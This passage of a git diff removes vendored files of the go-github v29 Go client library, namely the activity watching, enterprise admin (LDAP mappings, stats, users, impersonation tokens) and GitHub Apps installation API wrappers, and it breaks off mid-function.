acceptHeaders := []string{mediaTypeStarringPreview, mediaTypeTopicsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - var repos []*StarredRepository - resp, err := s.client.Do(ctx, req, &repos) - if err != nil { - return nil, resp, err - } - - return repos, resp, nil -} - -// IsStarred checks if a repository is starred by authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/activity/starring/#check-if-you-are-starring-a-repository -func (s *ActivityService) IsStarred(ctx context.Context, owner, repo string) (bool, *Response, error) { - u := fmt.Sprintf("user/starred/%v/%v", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return false, nil, err - } - resp, err := s.client.Do(ctx, req, nil) - starred, err := parseBoolResponse(err) - return starred, resp, err -} - -// Star a repository as the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/activity/starring/#star-a-repository -func (s *ActivityService) Star(ctx context.Context, owner, repo string) (*Response, error) { - u := fmt.Sprintf("user/starred/%v/%v", owner, repo) - req, err := s.client.NewRequest("PUT", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} - -// Unstar a repository as the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/activity/starring/#unstar-a-repository -func (s *ActivityService) Unstar(ctx context.Context, owner, repo string) (*Response, error) { - u := fmt.Sprintf("user/starred/%v/%v", owner, repo) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/activity_watching.go b/vendor/github.com/google/go-github/v29/github/activity_watching.go deleted file mode 100644 index c749ca86e7..0000000000 --- a/vendor/github.com/google/go-github/v29/github/activity_watching.go +++ /dev/null @@ -1,146 +0,0 @@ -// Copyright 2014 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// Subscription identifies a repository or thread subscription. -type Subscription struct { - Subscribed *bool `json:"subscribed,omitempty"` - Ignored *bool `json:"ignored,omitempty"` - Reason *string `json:"reason,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - URL *string `json:"url,omitempty"` - - // only populated for repository subscriptions - RepositoryURL *string `json:"repository_url,omitempty"` - - // only populated for thread subscriptions - ThreadURL *string `json:"thread_url,omitempty"` -} - -// ListWatchers lists watchers of a particular repo. -// -// GitHub API docs: https://developer.github.com/v3/activity/watching/#list-watchers -func (s *ActivityService) ListWatchers(ctx context.Context, owner, repo string, opt *ListOptions) ([]*User, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/subscribers", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var watchers []*User - resp, err := s.client.Do(ctx, req, &watchers) - if err != nil { - return nil, resp, err - } - - return watchers, resp, nil -} - -// ListWatched lists the repositories the specified user is watching. Passing -// the empty string will fetch watched repos for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/activity/watching/#list-repositories-being-watched -func (s *ActivityService) ListWatched(ctx context.Context, user string, opt *ListOptions) ([]*Repository, *Response, error) { - var u string - if user != "" { - u = fmt.Sprintf("users/%v/subscriptions", user) - } else { - u = "user/subscriptions" - } - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var watched []*Repository - resp, err := s.client.Do(ctx, req, &watched) - if err != nil { - return nil, resp, err - } - - return watched, resp, nil -} - -// GetRepositorySubscription returns the subscription for the specified -// repository for the authenticated user. If the authenticated user is not -// watching the repository, a nil Subscription is returned. -// -// GitHub API docs: https://developer.github.com/v3/activity/watching/#get-a-repository-subscription -func (s *ActivityService) GetRepositorySubscription(ctx context.Context, owner, repo string) (*Subscription, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/subscription", owner, repo) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - sub := new(Subscription) - resp, err := s.client.Do(ctx, req, sub) - if err != nil { - // if it's just a 404, don't return that as an error - _, err = parseBoolResponse(err) - return nil, resp, err - } - - return sub, resp, nil -} - -// SetRepositorySubscription sets the subscription for the specified repository -// for the authenticated user. -// -// To watch a repository, set subscription.Subscribed to true. -// To ignore notifications made within a repository, set subscription.Ignored to true. -// To stop watching a repository, use DeleteRepositorySubscription. -// -// GitHub API docs: https://developer.github.com/v3/activity/watching/#set-a-repository-subscription -func (s *ActivityService) SetRepositorySubscription(ctx context.Context, owner, repo string, subscription *Subscription) (*Subscription, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/subscription", owner, repo) - - req, err := s.client.NewRequest("PUT", u, subscription) - if err != nil { - return nil, nil, err - } - - sub := new(Subscription) - resp, err := s.client.Do(ctx, req, sub) - if err != nil { - return nil, resp, err - } - - return sub, resp, nil -} - -// DeleteRepositorySubscription deletes the subscription for the specified -// repository for the authenticated user. -// -// This is used to stop watching a repository. To control whether or not to -// receive notifications from a repository, use SetRepositorySubscription. -// -// GitHub API docs: https://developer.github.com/v3/activity/watching/#delete-a-repository-subscription -func (s *ActivityService) DeleteRepositorySubscription(ctx context.Context, owner, repo string) (*Response, error) { - u := fmt.Sprintf("repos/%s/%s/subscription", owner, repo) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/admin.go b/vendor/github.com/google/go-github/v29/github/admin.go deleted file mode 100644 index 31cd1fa2a4..0000000000 --- a/vendor/github.com/google/go-github/v29/github/admin.go +++ /dev/null @@ -1,119 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// AdminService handles communication with the admin related methods of the -// GitHub API. These API routes are normally only accessible for GitHub -// Enterprise installations. -// -// GitHub API docs: https://developer.github.com/v3/enterprise/ -type AdminService service - -// TeamLDAPMapping represents the mapping between a GitHub team and an LDAP group. -type TeamLDAPMapping struct { - ID *int64 `json:"id,omitempty"` - LDAPDN *string `json:"ldap_dn,omitempty"` - URL *string `json:"url,omitempty"` - Name *string `json:"name,omitempty"` - Slug *string `json:"slug,omitempty"` - Description *string `json:"description,omitempty"` - Privacy *string `json:"privacy,omitempty"` - Permission *string `json:"permission,omitempty"` - - MembersURL *string `json:"members_url,omitempty"` - RepositoriesURL *string `json:"repositories_url,omitempty"` -} - -func (m TeamLDAPMapping) String() string { - return Stringify(m) -} - -// UserLDAPMapping represents the mapping between a GitHub user and an LDAP user. -type UserLDAPMapping struct { - ID *int64 `json:"id,omitempty"` - LDAPDN *string `json:"ldap_dn,omitempty"` - Login *string `json:"login,omitempty"` - AvatarURL *string `json:"avatar_url,omitempty"` - GravatarID *string `json:"gravatar_id,omitempty"` - Type *string `json:"type,omitempty"` - SiteAdmin *bool `json:"site_admin,omitempty"` - - URL *string `json:"url,omitempty"` - EventsURL *string `json:"events_url,omitempty"` - FollowingURL *string `json:"following_url,omitempty"` - FollowersURL *string `json:"followers_url,omitempty"` - GistsURL *string `json:"gists_url,omitempty"` - OrganizationsURL *string `json:"organizations_url,omitempty"` - ReceivedEventsURL *string `json:"received_events_url,omitempty"` - ReposURL *string `json:"repos_url,omitempty"` - StarredURL *string `json:"starred_url,omitempty"` - SubscriptionsURL *string `json:"subscriptions_url,omitempty"` -} - -func (m UserLDAPMapping) String() string { - return Stringify(m) -} - -// Enterprise represents the GitHub enterprise profile. -type Enterprise struct { - ID *int `json:"id,omitempty"` - Slug *string `json:"slug,omitempty"` - Name *string `json:"name,omitempty"` - NodeID *string `json:"node_id,omitempty"` - AvatarURL *string `json:"avatar_url,omitempty"` - Description *string `json:"description,omitempty"` - WebsiteURL *string `json:"website_url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` -} - -func (m Enterprise) String() string { - return Stringify(m) -} - -// UpdateUserLDAPMapping updates the mapping between a GitHub user and an LDAP user. -// -// GitHub API docs: https://developer.github.com/v3/enterprise/ldap/#update-ldap-mapping-for-a-user -func (s *AdminService) UpdateUserLDAPMapping(ctx context.Context, user string, mapping *UserLDAPMapping) (*UserLDAPMapping, *Response, error) { - u := fmt.Sprintf("admin/ldap/users/%v/mapping", user) - req, err := s.client.NewRequest("PATCH", u, mapping) - if err != nil { - return nil, nil, err - } - - m := new(UserLDAPMapping) - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// UpdateTeamLDAPMapping updates the mapping between a GitHub team and an LDAP group. -// -// GitHub API docs: https://developer.github.com/v3/enterprise/ldap/#update-ldap-mapping-for-a-team -func (s *AdminService) UpdateTeamLDAPMapping(ctx context.Context, team int64, mapping *TeamLDAPMapping) (*TeamLDAPMapping, *Response, error) { - u := fmt.Sprintf("admin/ldap/teams/%v/mapping", team) - req, err := s.client.NewRequest("PATCH", u, mapping) - if err != nil { - return nil, nil, err - } - - m := new(TeamLDAPMapping) - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/admin_orgs.go b/vendor/github.com/google/go-github/v29/github/admin_orgs.go deleted file mode 100644 index f063831085..0000000000 --- a/vendor/github.com/google/go-github/v29/github/admin_orgs.go +++ /dev/null @@ -1,43 +0,0 @@ -// Copyright 2019 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import "context" - -// createOrgRequest is a subset of Organization and is used internally -// by CreateOrg to pass only the known fields for the endpoint. -type createOrgRequest struct { - Login *string `json:"login,omitempty"` - Admin *string `json:"admin,omitempty"` -} - -// CreateOrg creates a new organization in GitHub Enterprise. -// -// Note that only a subset of the org fields are used and org must -// not be nil. -// -// GitHub Enterprise API docs: https://developer.github.com/enterprise/v3/enterprise-admin/orgs/#create-an-organization -func (s *AdminService) CreateOrg(ctx context.Context, org *Organization, admin string) (*Organization, *Response, error) { - u := "admin/organizations" - - orgReq := &createOrgRequest{ - Login: org.Login, - Admin: &admin, - } - - req, err := s.client.NewRequest("POST", u, orgReq) - if err != nil { - return nil, nil, err - } - - o := new(Organization) - resp, err := s.client.Do(ctx, req, o) - if err != nil { - return nil, resp, err - } - - return o, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/admin_stats.go b/vendor/github.com/google/go-github/v29/github/admin_stats.go deleted file mode 100644 index dabefde3e7..0000000000 --- a/vendor/github.com/google/go-github/v29/github/admin_stats.go +++ /dev/null @@ -1,171 +0,0 @@ -// Copyright 2017 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// AdminStats represents a variety of stats of a GitHub Enterprise -// installation. -type AdminStats struct { - Issues *IssueStats `json:"issues,omitempty"` - Hooks *HookStats `json:"hooks,omitempty"` - Milestones *MilestoneStats `json:"milestones,omitempty"` - Orgs *OrgStats `json:"orgs,omitempty"` - Comments *CommentStats `json:"comments,omitempty"` - Pages *PageStats `json:"pages,omitempty"` - Users *UserStats `json:"users,omitempty"` - Gists *GistStats `json:"gists,omitempty"` - Pulls *PullStats `json:"pulls,omitempty"` - Repos *RepoStats `json:"repos,omitempty"` -} - -func (s AdminStats) String() string { - return Stringify(s) -} - -// IssueStats represents the number of total, open and closed issues. -type IssueStats struct { - TotalIssues *int `json:"total_issues,omitempty"` - OpenIssues *int `json:"open_issues,omitempty"` - ClosedIssues *int `json:"closed_issues,omitempty"` -} - -func (s IssueStats) String() string { - return Stringify(s) -} - -// HookStats represents the number of total, active and inactive hooks. -type HookStats struct { - TotalHooks *int `json:"total_hooks,omitempty"` - ActiveHooks *int `json:"active_hooks,omitempty"` - InactiveHooks *int `json:"inactive_hooks,omitempty"` -} - -func (s HookStats) String() string { - return Stringify(s) -} - -// MilestoneStats represents the number of total, open and close milestones. -type MilestoneStats struct { - TotalMilestones *int `json:"total_milestones,omitempty"` - OpenMilestones *int `json:"open_milestones,omitempty"` - ClosedMilestones *int `json:"closed_milestones,omitempty"` -} - -func (s MilestoneStats) String() string { - return Stringify(s) -} - -// OrgStats represents the number of total, disabled organizations and the team -// and team member count. -type OrgStats struct { - TotalOrgs *int `json:"total_orgs,omitempty"` - DisabledOrgs *int `json:"disabled_orgs,omitempty"` - TotalTeams *int `json:"total_teams,omitempty"` - TotalTeamMembers *int `json:"total_team_members,omitempty"` -} - -func (s OrgStats) String() string { - return Stringify(s) -} - -// CommentStats represents the number of total comments on commits, gists, issues -// and pull requests. -type CommentStats struct { - TotalCommitComments *int `json:"total_commit_comments,omitempty"` - TotalGistComments *int `json:"total_gist_comments,omitempty"` - TotalIssueComments *int `json:"total_issue_comments,omitempty"` - TotalPullRequestComments *int `json:"total_pull_request_comments,omitempty"` -} - -func (s CommentStats) String() string { - return Stringify(s) -} - -// PageStats represents the total number of github pages. -type PageStats struct { - TotalPages *int `json:"total_pages,omitempty"` -} - -func (s PageStats) String() string { - return Stringify(s) -} - -// UserStats represents the number of total, admin and suspended users. -type UserStats struct { - TotalUsers *int `json:"total_users,omitempty"` - AdminUsers *int `json:"admin_users,omitempty"` - SuspendedUsers *int `json:"suspended_users,omitempty"` -} - -func (s UserStats) String() string { - return Stringify(s) -} - -// GistStats represents the number of total, private and public gists. -type GistStats struct { - TotalGists *int `json:"total_gists,omitempty"` - PrivateGists *int `json:"private_gists,omitempty"` - PublicGists *int `json:"public_gists,omitempty"` -} - -func (s GistStats) String() string { - return Stringify(s) -} - -// PullStats represents the number of total, merged, mergable and unmergeable -// pull-requests. -type PullStats struct { - TotalPulls *int `json:"total_pulls,omitempty"` - MergedPulls *int `json:"merged_pulls,omitempty"` - MergablePulls *int `json:"mergeable_pulls,omitempty"` - UnmergablePulls *int `json:"unmergeable_pulls,omitempty"` -} - -func (s PullStats) String() string { - return Stringify(s) -} - -// RepoStats represents the number of total, root, fork, organization repositories -// together with the total number of pushes and wikis. -type RepoStats struct { - TotalRepos *int `json:"total_repos,omitempty"` - RootRepos *int `json:"root_repos,omitempty"` - ForkRepos *int `json:"fork_repos,omitempty"` - OrgRepos *int `json:"org_repos,omitempty"` - TotalPushes *int `json:"total_pushes,omitempty"` - TotalWikis *int `json:"total_wikis,omitempty"` -} - -func (s RepoStats) String() string { - return Stringify(s) -} - -// GetAdminStats returns a variety of metrics about a GitHub Enterprise -// installation. -// -// Please note that this is only available to site administrators, -// otherwise it will error with a 404 not found (instead of 401 or 403). -// -// GitHub API docs: https://developer.github.com/v3/enterprise-admin/admin_stats/ -func (s *AdminService) GetAdminStats(ctx context.Context) (*AdminStats, *Response, error) { - u := fmt.Sprintf("enterprise/stats/all") - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - m := new(AdminStats) - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/admin_users.go b/vendor/github.com/google/go-github/v29/github/admin_users.go deleted file mode 100644 index 742855501e..0000000000 --- a/vendor/github.com/google/go-github/v29/github/admin_users.go +++ /dev/null @@ -1,133 +0,0 @@ -// Copyright 2019 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// createUserRequest is a subset of User and is used internally -// by CreateUser to pass only the known fields for the endpoint. -type createUserRequest struct { - Login *string `json:"login,omitempty"` - Email *string `json:"email,omitempty"` -} - -// CreateUser creates a new user in GitHub Enterprise. -// -// GitHub Enterprise API docs: https://developer.github.com/enterprise/v3/enterprise-admin/users/#create-a-new-user -func (s *AdminService) CreateUser(ctx context.Context, login, email string) (*User, *Response, error) { - u := "admin/users" - - userReq := &createUserRequest{ - Login: &login, - Email: &email, - } - - req, err := s.client.NewRequest("POST", u, userReq) - if err != nil { - return nil, nil, err - } - - var user User - resp, err := s.client.Do(ctx, req, &user) - if err != nil { - return nil, resp, err - } - - return &user, resp, nil -} - -// DeleteUser deletes a user in GitHub Enterprise. -// -// GitHub Enterprise API docs: https://developer.github.com/enterprise/v3/enterprise-admin/users/#delete-a-user -func (s *AdminService) DeleteUser(ctx context.Context, username string) (*Response, error) { - u := "admin/users/" + username - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - resp, err := s.client.Do(ctx, req, nil) - if err != nil { - return resp, err - } - - return resp, nil -} - -// ImpersonateUserOptions represents the scoping for the OAuth token. -type ImpersonateUserOptions struct { - Scopes []string `json:"scopes,omitempty"` -} - -// OAuthAPP represents the GitHub Site Administrator OAuth app. -type OAuthAPP struct { - URL *string `json:"url,omitempty"` - Name *string `json:"name,omitempty"` - ClientID *string `json:"client_id,omitempty"` -} - -func (s OAuthAPP) String() string { - return Stringify(s) -} - -// UserAuthorization represents the impersonation response. -type UserAuthorization struct { - ID *int64 `json:"id,omitempty"` - URL *string `json:"url,omitempty"` - Scopes []string `json:"scopes,omitempty"` - Token *string `json:"token,omitempty"` - TokenLastEight *string `json:"token_last_eight,omitempty"` - HashedToken *string `json:"hashed_token,omitempty"` - App *OAuthAPP `json:"app,omitempty"` - Note *string `json:"note,omitempty"` - NoteURL *string `json:"note_url,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - Fingerprint *string `json:"fingerprint,omitempty"` -} - -// CreateUserImpersonation creates an impersonation OAuth token. -// -// GitHub Enterprise API docs: https://developer.github.com/enterprise/v3/enterprise-admin/users/#create-an-impersonation-oauth-token -func (s *AdminService) CreateUserImpersonation(ctx context.Context, username string, opt *ImpersonateUserOptions) (*UserAuthorization, *Response, error) { - u := fmt.Sprintf("admin/users/%s/authorizations", username) - - req, err := s.client.NewRequest("POST", u, opt) - if err != nil { - return nil, nil, err - } - - a := new(UserAuthorization) - resp, err := s.client.Do(ctx, req, a) - if err != nil { - return nil, resp, err - } - - return a, resp, nil -} - -// DeleteUserImpersonation deletes an impersonation OAuth token. -// -// GitHub Enterprise API docs: https://developer.github.com/enterprise/v3/enterprise-admin/users/#delete-an-impersonation-oauth-token -func (s *AdminService) DeleteUserImpersonation(ctx context.Context, username string) (*Response, error) { - u := fmt.Sprintf("admin/users/%s/authorizations", username) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - resp, err := s.client.Do(ctx, req, nil) - if err != nil { - return resp, err - } - - return resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/apps.go b/vendor/github.com/google/go-github/v29/github/apps.go deleted file mode 100644 index 5bd76338dc..0000000000 --- a/vendor/github.com/google/go-github/v29/github/apps.go +++ /dev/null @@ -1,303 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// AppsService provides access to the installation related functions -// in the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/apps/ -type AppsService service - -// App represents a GitHub App. -type App struct { - ID *int64 `json:"id,omitempty"` - Slug *string `json:"slug,omitempty"` - NodeID *string `json:"node_id,omitempty"` - Owner *User `json:"owner,omitempty"` - Name *string `json:"name,omitempty"` - Description *string `json:"description,omitempty"` - ExternalURL *string `json:"external_url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - Permissions *InstallationPermissions `json:"permissions,omitempty"` - Events []string `json:"events,omitempty"` -} - -// InstallationToken represents an installation token. -type InstallationToken struct { - Token *string `json:"token,omitempty"` - ExpiresAt *time.Time `json:"expires_at,omitempty"` - Permissions *InstallationPermissions `json:"permissions,omitempty"` - Repositories []*Repository `json:"repositories,omitempty"` -} - -// InstallationTokenOptions allow restricting a token's access to specific repositories. -type InstallationTokenOptions struct { - // The IDs of the repositories that the installation token can access. - // Providing repository IDs restricts the access of an installation token to specific repositories. - RepositoryIDs []int64 `json:"repository_ids,omitempty"` - - // The permissions granted to the access token. - // The permissions object includes the permission names and their access type. - Permissions *InstallationPermissions `json:"permissions,omitempty"` -} - -// InstallationPermissions lists the repository and organization permissions for an installation. -// -// Permission names taken from: -// https://developer.github.com/v3/apps/permissions/ -// https://developer.github.com/enterprise/v3/apps/permissions/ -type InstallationPermissions struct { - Administration *string `json:"administration,omitempty"` - Blocking *string `json:"blocking,omitempty"` - Checks *string `json:"checks,omitempty"` - Contents *string `json:"contents,omitempty"` - ContentReferences *string `json:"content_references,omitempty"` - Deployments *string `json:"deployments,omitempty"` - Emails *string `json:"emails,omitempty"` - Followers *string `json:"followers,omitempty"` - Issues *string `json:"issues,omitempty"` - Metadata *string `json:"metadata,omitempty"` - Members *string `json:"members,omitempty"` - OrganizationAdministration *string `json:"organization_administration,omitempty"` - OrganizationHooks *string `json:"organization_hooks,omitempty"` - OrganizationPlan *string `json:"organization_plan,omitempty"` - OrganizationPreReceiveHooks *string `json:"organization_pre_receive_hooks,omitempty"` - OrganizationProjects *string `json:"organization_projects,omitempty"` - OrganizationUserBlocking *string `json:"organization_user_blocking,omitempty"` - Packages *string `json:"packages,omitempty"` - Pages *string `json:"pages,omitempty"` - PullRequests *string `json:"pull_requests,omitempty"` - RepositoryHooks *string `json:"repository_hooks,omitempty"` - RepositoryProjects *string `json:"repository_projects,omitempty"` - RepositoryPreReceiveHooks *string `json:"repository_pre_receive_hooks,omitempty"` - SingleFile *string `json:"single_file,omitempty"` - Statuses *string `json:"statuses,omitempty"` - TeamDiscussions *string `json:"team_discussions,omitempty"` - VulnerabilityAlerts *string `json:"vulnerability_alerts,omitempty"` -} - -// Installation represents a GitHub Apps installation. -type Installation struct { - ID *int64 `json:"id,omitempty"` - AppID *int64 `json:"app_id,omitempty"` - TargetID *int64 `json:"target_id,omitempty"` - Account *User `json:"account,omitempty"` - AccessTokensURL *string `json:"access_tokens_url,omitempty"` - RepositoriesURL *string `json:"repositories_url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - TargetType *string `json:"target_type,omitempty"` - SingleFileName *string `json:"single_file_name,omitempty"` - RepositorySelection *string `json:"repository_selection,omitempty"` - Events []string `json:"events,omitempty"` - Permissions *InstallationPermissions `json:"permissions,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` -} - -// Attachment represents a GitHub Apps attachment. -type Attachment struct { - ID *int64 `json:"id,omitempty"` - Title *string `json:"title,omitempty"` - Body *string `json:"body,omitempty"` -} - -func (i Installation) String() string { - return Stringify(i) -} - -// Get a single GitHub App. Passing the empty string will get -// the authenticated GitHub App. -// -// Note: appSlug is just the URL-friendly name of your GitHub App. -// You can find this on the settings page for your GitHub App -// (e.g., https://github.com/settings/apps/:app_slug). -// -// GitHub API docs: https://developer.github.com/v3/apps/#get-a-single-github-app -func (s *AppsService) Get(ctx context.Context, appSlug string) (*App, *Response, error) { - var u string - if appSlug != "" { - u = fmt.Sprintf("apps/%v", appSlug) - } else { - u = "app" - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeIntegrationPreview) - - app := new(App) - resp, err := s.client.Do(ctx, req, app) - if err != nil { - return nil, resp, err - } - - return app, resp, nil -} - -// ListInstallations lists the installations that the current GitHub App has. -// -// GitHub API docs: https://developer.github.com/v3/apps/#list-installations -func (s *AppsService) ListInstallations(ctx context.Context, opt *ListOptions) ([]*Installation, *Response, error) { - u, err := addOptions("app/installations", opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeIntegrationPreview) - - var i []*Installation - resp, err := s.client.Do(ctx, req, &i) - if err != nil { - return nil, resp, err - } - - return i, resp, nil -} - -// GetInstallation returns the specified installation. -// -// GitHub API docs: https://developer.github.com/v3/apps/#get-a-single-installation -func (s *AppsService) GetInstallation(ctx context.Context, id int64) (*Installation, *Response, error) { - return s.getInstallation(ctx, fmt.Sprintf("app/installations/%v", id)) -} - -// ListUserInstallations lists installations that are accessible to the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/apps/#list-installations-for-user -func (s *AppsService) ListUserInstallations(ctx context.Context, opt *ListOptions) ([]*Installation, *Response, error) { - u, err := addOptions("user/installations", opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeIntegrationPreview) - - var i struct { - Installations []*Installation `json:"installations"` - } - resp, err := s.client.Do(ctx, req, &i) - if err != nil { - return nil, resp, err - } - - return i.Installations, resp, nil -} - -// CreateInstallationToken creates a new installation token. -// -// GitHub API docs: https://developer.github.com/v3/apps/#create-a-new-installation-token -func (s *AppsService) CreateInstallationToken(ctx context.Context, id int64, opt *InstallationTokenOptions) (*InstallationToken, *Response, error) { - u := fmt.Sprintf("app/installations/%v/access_tokens", id) - - req, err := s.client.NewRequest("POST", u, opt) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeIntegrationPreview) - - t := new(InstallationToken) - resp, err := s.client.Do(ctx, req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, nil -} - -// CreateAttachment creates a new attachment on user comment containing a url. -// -// GitHub API docs: https://developer.github.com/v3/apps/#create-a-content-attachment -func (s *AppsService) CreateAttachment(ctx context.Context, contentReferenceID int64, title, body string) (*Attachment, *Response, error) { - u := fmt.Sprintf("content_references/%v/attachments", contentReferenceID) - payload := &Attachment{Title: String(title), Body: String(body)} - req, err := s.client.NewRequest("POST", u, payload) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - m := &Attachment{} - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// FindOrganizationInstallation finds the organization's installation information. -// -// GitHub API docs: https://developer.github.com/v3/apps/#get-an-organization-installation -func (s *AppsService) FindOrganizationInstallation(ctx context.Context, org string) (*Installation, *Response, error) { - return s.getInstallation(ctx, fmt.Sprintf("orgs/%v/installation", org)) -} - -// FindRepositoryInstallation finds the repository's installation information. -// -// GitHub API docs: https://developer.github.com/v3/apps/#get-a-repository-installation -func (s *AppsService) FindRepositoryInstallation(ctx context.Context, owner, repo string) (*Installation, *Response, error) { - return s.getInstallation(ctx, fmt.Sprintf("repos/%v/%v/installation", owner, repo)) -} - -// FindRepositoryInstallationByID finds the repository's installation information. -// -// Note: FindRepositoryInstallationByID uses the undocumented GitHub API endpoint /repositories/:id/installation. -func (s *AppsService) FindRepositoryInstallationByID(ctx context.Context, id int64) (*Installation, *Response, error) { - return s.getInstallation(ctx, fmt.Sprintf("repositories/%d/installation", id)) -} - -// FindUserInstallation finds the user's installation information. -// -// GitHub API docs: https://developer.github.com/v3/apps/#get-a-user-installation -func (s *AppsService) FindUserInstallation(ctx context.Context, user string) (*Installation, *Response, error) { - return s.getInstallation(ctx, fmt.Sprintf("users/%v/installation", user)) -} - -func (s *AppsService) getInstallation(ctx context.Context, url string) (*Installation, *Response, error) { - req, err := s.client.NewRequest("GET", url, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeIntegrationPreview) - - i := new(Installation) - resp, err := s.client.Do(ctx, req, i) - if err != nil { - return nil, resp, err - } - - return i, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/apps_installation.go b/vendor/github.com/google/go-github/v29/github/apps_installation.go deleted file mode 100644 index 09d4043fe6..0000000000 --- a/vendor/github.com/google/go-github/v29/github/apps_installation.go +++ /dev/null @@ -1,103 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ListRepos lists the repositories that are accessible to the authenticated installation. -// -// GitHub API docs: https://developer.github.com/v3/apps/installations/#list-repositories -func (s *AppsService) ListRepos(ctx context.Context, opt *ListOptions) ([]*Repository, *Response, error) { - u, err := addOptions("installation/repositories", opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeIntegrationPreview) - - var r struct { - Repositories []*Repository `json:"repositories"` - } - resp, err := s.client.Do(ctx, req, &r) - if err != nil { - return nil, resp, err - } - - return r.Repositories, resp, nil -} - -// ListUserRepos lists repositories that are accessible -// to the authenticated user for an installation. -// -// GitHub API docs: https://developer.github.com/v3/apps/installations/#list-repositories-accessible-to-the-user-for-an-installation -func (s *AppsService) ListUserRepos(ctx context.Context, id int64, opt *ListOptions) ([]*Repository, *Response, error) { - u := fmt.Sprintf("user/installations/%v/repositories", id) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeIntegrationPreview) - - var r struct { - Repositories []*Repository `json:"repositories"` - } - resp, err := 